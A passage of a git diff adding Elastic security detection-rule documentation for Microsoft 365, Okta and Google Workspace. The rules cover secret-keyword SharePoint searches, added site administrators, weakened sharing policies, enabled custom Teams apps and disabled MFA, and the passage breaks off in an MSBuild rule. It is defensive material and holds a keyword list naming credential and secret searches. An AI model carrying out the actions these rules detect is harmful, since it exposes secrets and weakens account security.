"SearchQueryPerformed" and + event.outcome == "success" and + o365.audit.SearchQueryText != null and + o365.audit.SearchQueryText != "" and + o365.audit.SearchQueryText like~ ( + /* Credentials and Secrets */ + "*password*", "*credential*", "*secret*", "*api key*", "*apikey*", + "*token*", "*private key*", "*certificate*", "*ssh*", "*aws*", + "*azure*", "*gcp*", "*oauth*", "*bearer*", "*connection string*", + "*access key*", "*secret key*", + /* Financial */ + "*salary*", "*payroll*", "*compensation*", "*budget*", "*revenue*", + "*financial*", "*banking*", "*invoice*", "*wire transfer*", "*account number*", + "*credit card*", "*routing number*", "*profit*", "*expense*", "*1099*", + /* Legal and Compliance */ + "*confidential*", "*privileged*", "*attorney*", "*legal hold*", "*settlement*", + "*contract*", "*nda*", "*merger*", "*acquisition*", "*litigation*", + "*subpoena*", "*trade secret*", "*intellectual property*", "*proprietary*", + "*internal*", "*proposal*", "*poc*", + /* HR and PII */ + "*ssn*", "*social security*", "*employee*", "*personnel*", "*performance review*", + "*termination*", "*tax*", "*w2*", "*benefits*", "*background check*", + "*medical*", "*hipaa*", "*passport*", "*driver license*", "*dob*", + /* Infrastructure and IT */ + "*admin*", "*root*", "*vpn*", "*firewall*", "*network diagram*", + "*architecture*", "*topology*", "*production*", "*database*", "*config*", + "*backup*", "*disaster recovery*", "*vulnerability*", "*pentest*", "*security audit*", + "*salesforce*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-administrator-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-administrator-added.asciidoc new file mode 100644 index 0000000000..8a141c8ecc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-administrator-added.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-m365-sharepoint-site-administrator-added]] +=== M365 SharePoint Site Administrator Added + +Identifies when a new SharePoint Site Administrator is added in Microsoft 365. Site Administrators have full control over SharePoint Sites, including the ability to manage permissions, access all content, and modify site settings. Adversaries who compromise a privileged account may add themselves or a controlled account as a Site Administrator to maintain persistent, high-privilege access to sensitive SharePoint data. This technique was notably observed in the 0mega ransomware campaign, where attackers elevated privileges to exfiltrate data and deploy ransom notes across SharePoint sites. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-permissions-activities +* https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Administrator Added* + + +Site Administrators in SharePoint Online have full control over a Site, including the ability to manage permissions, access all content, and configure site-level settings. Adversaries who gain access to a privileged account may assign Site Administrator rights to maintain persistent access or facilitate data exfiltration. The `SiteCollectionAdminAdded` audit event is logged when this privilege is granted. + + +*Possible Investigation Steps* + + +- Review the `user.id` field to determine who performed the action. Assess whether this user normally manages SharePoint site permissions. +- Examine the `o365.audit.ModifiedProperties.SiteAdmin.NewValue` field to identify the account that was granted Site Administrator privileges. +- Check the `o365.audit.SiteUrl` or `url.original` to determine which Site was targeted. Assess the sensitivity of the data stored in this site. +- Review the `o365.audit.TargetUserOrGroupName` and `o365.audit.TargetUserOrGroupType` fields for additional context on the target principal. +- Pivot to sign-in logs for the acting account to look for anomalies such as logins from unfamiliar locations, devices, or IP ranges. +- Investigate whether the newly added admin account has performed subsequent actions such as file downloads, permission changes, or sharing link creation. +- Check for other recent `SiteCollectionAdminAdded` events to determine if multiple Sites were targeted in a short time frame, which may indicate bulk privilege escalation. + + +*False Positive Analysis* + + +- Routine SharePoint administration tasks by IT teams may trigger this alert. Correlate with change management tickets or scheduled maintenance windows. +- Automated provisioning tools that assign Site admin roles during site creation or migration workflows may generate expected alerts. +- Organizational changes such as team transitions or restructuring may involve legitimate Site admin reassignments. + + +*Response and Remediation* + + +- If the admin addition is unauthorized, immediately remove the Site Administrator role from the suspicious account. +- Reset credentials for both the account that performed the action and the account that was added, especially if compromise is suspected. +- Review recent activity on the affected Site for signs of data exfiltration, permission changes, or content modifications. +- Enable or verify enforcement of MFA for all accounts with SharePoint administrative privileges. +- Audit the list of Site Administrators across all Sites to identify any other unauthorized additions. +- Consider implementing Privileged Access Management (PAM) or Privileged Identity Management (PIM) to require just-in-time elevation for SharePoint admin roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.provider:(SharePoint or OneDrive) + and event.category:web + and event.action:SiteCollectionAdminAdded + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-sharing-policy-weakened.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-sharing-policy-weakened.asciidoc new file mode 100644 index 0000000000..9e13b7d1b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-site-sharing-policy-weakened.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-21-m365-sharepoint-site-sharing-policy-weakened]] +=== M365 SharePoint Site Sharing Policy Weakened + +Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-administration-activities +* https://learn.microsoft.com/en-us/purview/audit-log-sharing +* https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Sharing Policy Weakened* + + +This rule detects when SharePoint or OneDrive sharing policies are modified to weaken security controls. The `SharingPolicyChanged` event captures modifications to site-level sharing settings stored in `ModifiedProperties`, where the setting name is a dynamic field key and `OldValue`/`NewValue` track the transition. This rule targets specific transitions that represent a security posture degradation. Note that Microsoft uses inconsistent keyword value formats across settings, some use `True`/`False` while others use `Enabled`/`Disabled`. + + +*Possible Investigation Steps* + + +- Identify the user who performed the change via `user.id` and determine if they have a legitimate administrative role. +- Check if the acting user is a service principal (e.g., `ServiceOperator`, `app@sharepoint`) or a human account. Service principal changes may indicate automated processes or compromised application credentials. +- Review which specific setting was changed by examining the `o365.audit.ModifiedProperties.*` fields: + - ShareWithGuests: Guest/external sharing was enabled on the site. External users can now be invited to access content. + - ShareUsingAnonymousLinks: Anonymous "Anyone" link sharing was enabled. Content can now be shared via unauthenticated links. + - IsPublic: The site or group was changed from private to public visibility. + - AllowGuestUser: Guest user access was enabled for the site. + - AllowFederatedUsers: Federated (external organization) user access was enabled. + - AllowTeamsConsumer: Teams personal account (consumer) user access was enabled. +- Identify the affected site via `o365.audit.ObjectId` (the site URL) and assess the sensitivity of its content. +- Review Azure AD / Entra ID sign-in logs for the acting account to check for authentication anomalies (unusual location, device code flow, new device). +- Look for subsequent sharing activity on the same site — `SharingSet`, `AnonymousLinkCreated`, `SharingInvitationCreated`, or file download events shortly after the policy change. +- Determine if the change was part of a planned change request or occurred outside of normal change windows. + + +*False Positive Analysis* + + +- IT administrators enabling external sharing for legitimate collaboration needs. Correlate with change management tickets or Slack/Teams messages. +- Automated provisioning scripts that configure sharing settings during site creation. These typically use service principal accounts with predictable patterns. +- Microsoft service operations (`ServiceOperator`) may modify settings as part of tenant-level policy propagation. + + +*Response and Remediation* + + +- If the change is unauthorized, immediately revert the sharing policy to its previous restrictive state. +- Revoke sessions and reset credentials for the compromised account. +- Review what content was accessed or shared after the policy change using `FileAccessed`, `FileDownloaded`, and sharing audit events. +- Audit all sites for similar unauthorized sharing policy changes. +- Implement Conditional Access policies to restrict administrative actions to trusted networks and compliant devices. +- Enable Privileged Identity Management (PIM) for SharePoint administrator roles to enforce just-in-time access. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and event.provider: ("SharePoint" or "OneDrive") and + event.action: "SharingPolicyChanged" and event.outcome: "success" and + ( + (o365.audit.ModifiedProperties.ShareWithGuests.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareWithGuests.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.IsPublic.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.IsPublic.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowGuestUser.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowGuestUser.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowFederatedUsers.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowFederatedUsers.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowTeamsConsumer.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowTeamsConsumer.OldValue: (false or "Disabled")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-teams-custom-application-interaction-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-teams-custom-application-interaction-enabled.asciidoc new file mode 100644 index 0000000000..2a96c2c5b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-teams-custom-application-interaction-enabled.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-m365-teams-custom-application-interaction-enabled]] +=== M365 Teams Custom Application Interaction Enabled + +Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/platform/concepts/deploy-and-publish/apps-upload + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Teams Custom Application Interaction Enabled* + + +Microsoft Teams allows organizations to enhance functionality by integrating custom applications, which can be developed and uploaded beyond the standard app store offerings. While beneficial for tailored solutions, this capability can be exploited by adversaries to maintain unauthorized access. The detection rule monitors changes in tenant settings that permit custom app interactions, flagging successful modifications as potential persistence threats. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: TeamsTenantSettingChanged to identify when the change was made and by whom. +- Verify the identity of the user or account associated with the event to determine if the change was authorized or if the account may have been compromised. +- Check the o365.audit.Name field for "Allow sideloading and interaction of custom apps" to confirm that the alert corresponds to enabling custom app interactions. +- Investigate the o365.audit.NewValue field to ensure it is set to True, indicating that the setting was indeed changed to allow custom apps. +- Assess the event.outcome field to confirm the change was successful and not a failed attempt, which could indicate a different type of issue. +- Examine any recent custom applications uploaded to Microsoft Teams to ensure they are legitimate and not potentially malicious. +- Cross-reference with other security alerts or logs to identify any unusual activity around the time of the setting change that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative changes to Microsoft Teams settings can trigger this rule. If a known and authorized administrator frequently updates tenant settings to allow custom apps, consider creating an exception for their user account to reduce noise. +- Organizations that regularly develop and deploy custom applications for internal use may see frequent alerts. In such cases, establish a process to document and approve these changes, and use this documentation to create exceptions for specific application deployment activities. +- Scheduled updates or maintenance activities that involve enabling custom app interactions might be misidentified as threats. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring rules to prevent false positives during these periods. +- If a third-party service provider is authorized to manage Teams settings, their actions might trigger alerts. Verify their activities and, if consistent and legitimate, add their actions to an exception list to prevent unnecessary alerts. +- Changes made during a known testing or development phase can be mistaken for unauthorized access. Clearly define and communicate these phases to the security team, and consider temporary rule adjustments to accommodate expected changes. + + +*Response and remediation* + + +- Immediately disable the custom application interaction setting in Microsoft Teams to prevent further unauthorized access or persistence by adversaries. +- Conduct a thorough review of all custom applications currently uploaded to Microsoft Teams to identify any unauthorized or suspicious applications. Remove any that are not recognized or approved by the organization. +- Analyze the audit logs for any recent changes to the Teams settings and identify the user account responsible for enabling custom application interactions. Investigate the account for signs of compromise or misuse. +- Reset the credentials and enforce multi-factor authentication for the account(s) involved in the unauthorized change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident and the actions taken. Escalate to higher management if the breach is suspected to have wider implications. +- Implement additional monitoring and alerting for changes to Microsoft Teams settings to quickly detect and respond to similar threats in the future. +- Review and update the organization's security policies and procedures regarding the use of custom applications in Microsoft Teams to ensure they align with best practices and mitigate the risk of similar incidents. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:MicrosoftTeams and +event.category:web and event.action:TeamsTenantSettingChanged and +o365.audit.Name:"Allow sideloading and interaction of custom apps" and +o365.audit.NewValue:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc new file mode 100644 index 0000000000..cf90a68e91 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-mfa-deactivation-with-no-re-activation-for-okta-user-account]] +=== MFA Deactivation with no Re-Activation for Okta User Account + +Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. + +*Rule type*: eql + +*Rule indices*: + +* logs-okta.system* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 6h + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Domain: Cloud +* Resources: Investigation Guide + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MFA Deactivation with no Re-Activation for Okta User Account* + + +MFA is used to provide an additional layer of security for user accounts. An adversary may achieve MFA deactivation for an Okta user account to achieve persistence. + +This rule fires when an Okta user account has MFA deactivated and no subsequent MFA reactivation is observed within 12 hours. + + +*Possible investigation steps:* + + +- Identify the entity related to the alert by reviewing `okta.target.alternate_id`, `okta.target.id` or `user.target.full_name` fields. This should give the username of the account being targeted. Verify if MFA is deactivated for the target entity. +- Using the `okta.target.alternate_id` field, search for MFA re-activation events where `okta.event_type` is `user.mfa.factor.activate`. Note if MFA re-activation attempts were made against the target. +- Identify the actor performing the deactivation by reviewing `okta.actor.alternate_id`, `okta.actor.id` or `user.full_name` fields. This should give the username of the account performing the action. Determine if deactivation was performed by a separate user. +- Review events where `okta.event_type` is `user.authenticate*` to determine if the actor or target accounts had suspicious login activity. + - Geolocation details found in `client.geo*` related fields may be useful in determining if the login activity was suspicious for this user. +- Examine related administrative activity by the actor for privilege misuse or suspicious changes. + + +*False positive steps:* + + +- Determine with the target user if MFA deactivation was expected. +- Determine if MFA is required for the target user account. + + +*Response and remediation:* + + +- If the MFA deactivation was not expected, consider deactivating the user + - This should be followed by resetting the user's password and re-enabling MFA. +- If the MFA deactivation was expected, consider adding an exception to this rule to filter false positives. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data, applications or systems. +- Review the client user-agent to determine if it's a known custom application that can be whitelisted. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.target.id with maxspan=12h + [any where data_stream.dataset == "okta.system" and okta.event_type in ("user.mfa.factor.deactivate", "user.mfa.factor.reset_all") + and okta.outcome.reason != "User reset SECURITY_QUESTION factor" and okta.outcome.result == "SUCCESS"] + ![any where data_stream.dataset == "okta.system" and okta.event_type == "user.mfa.factor.activate"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-disabled-for-google-workspace-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-disabled-for-google-workspace-organization.asciidoc new file mode 100644 index 0000000000..77fc89d401 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mfa-disabled-for-google-workspace-organization.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-mfa-disabled-for-google-workspace-organization]] +=== MFA Disabled for Google Workspace Organization + +Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MFA Disabled for Google Workspace Organization* + + +Multi-factor authentication (MFA) is a process in which users are prompted for an additional form of identification, such as a code on their cell phone or a fingerprint scan, during the sign-in process. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the users's password is weak or has been exposed elsewhere, an attacker could use it to gain access. Requiring a second form of authentication increases security because attackers cannot easily obtain or duplicate the additional authentication factor. + +For more information about using MFA in Google Workspace, access the https://support.google.com/a/answer/175197[official documentation]. + +This rule identifies when MFA enforcement is turned off in Google Workspace. This modification weakens account security and can lead to accounts and other assets being compromised. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate the multi-factor authentication enforcement. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-a-system-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-a-system-process.asciidoc new file mode 100644 index 0000000000..e2cec8fb89 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-a-system-process.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-microsoft-build-engine-started-by-a-system-process]] +=== Microsoft Build Engine Started by a System Process + +An instance of MSBuild, the Microsoft Build Engine, was started by Explorer or the WMI (Windows Management Instrumentation) subsystem. This behavior is unusual and is sometimes used by malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started by a System Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, typically invoked by developers. However, adversaries exploit it to execute malicious code, leveraging its trusted status to bypass security measures. The detection rule identifies unusual MSBuild activity initiated by system processes like Explorer or WMI, which may indicate an attempt to evade defenses and execute unauthorized actions. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on instances where MSBuild.exe is started by explorer.exe or wmiprvse.exe. +- Check the command line arguments used to start MSBuild.exe for any suspicious or unusual parameters that could indicate malicious activity. +- Investigate the user account associated with the process to determine if it aligns with expected behavior or if it might be compromised. +- Examine recent file modifications or creations in directories commonly used by MSBuild to identify any unauthorized or unexpected files. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context on the activity. +- Assess the network activity of the host during the time of the alert to identify any potential 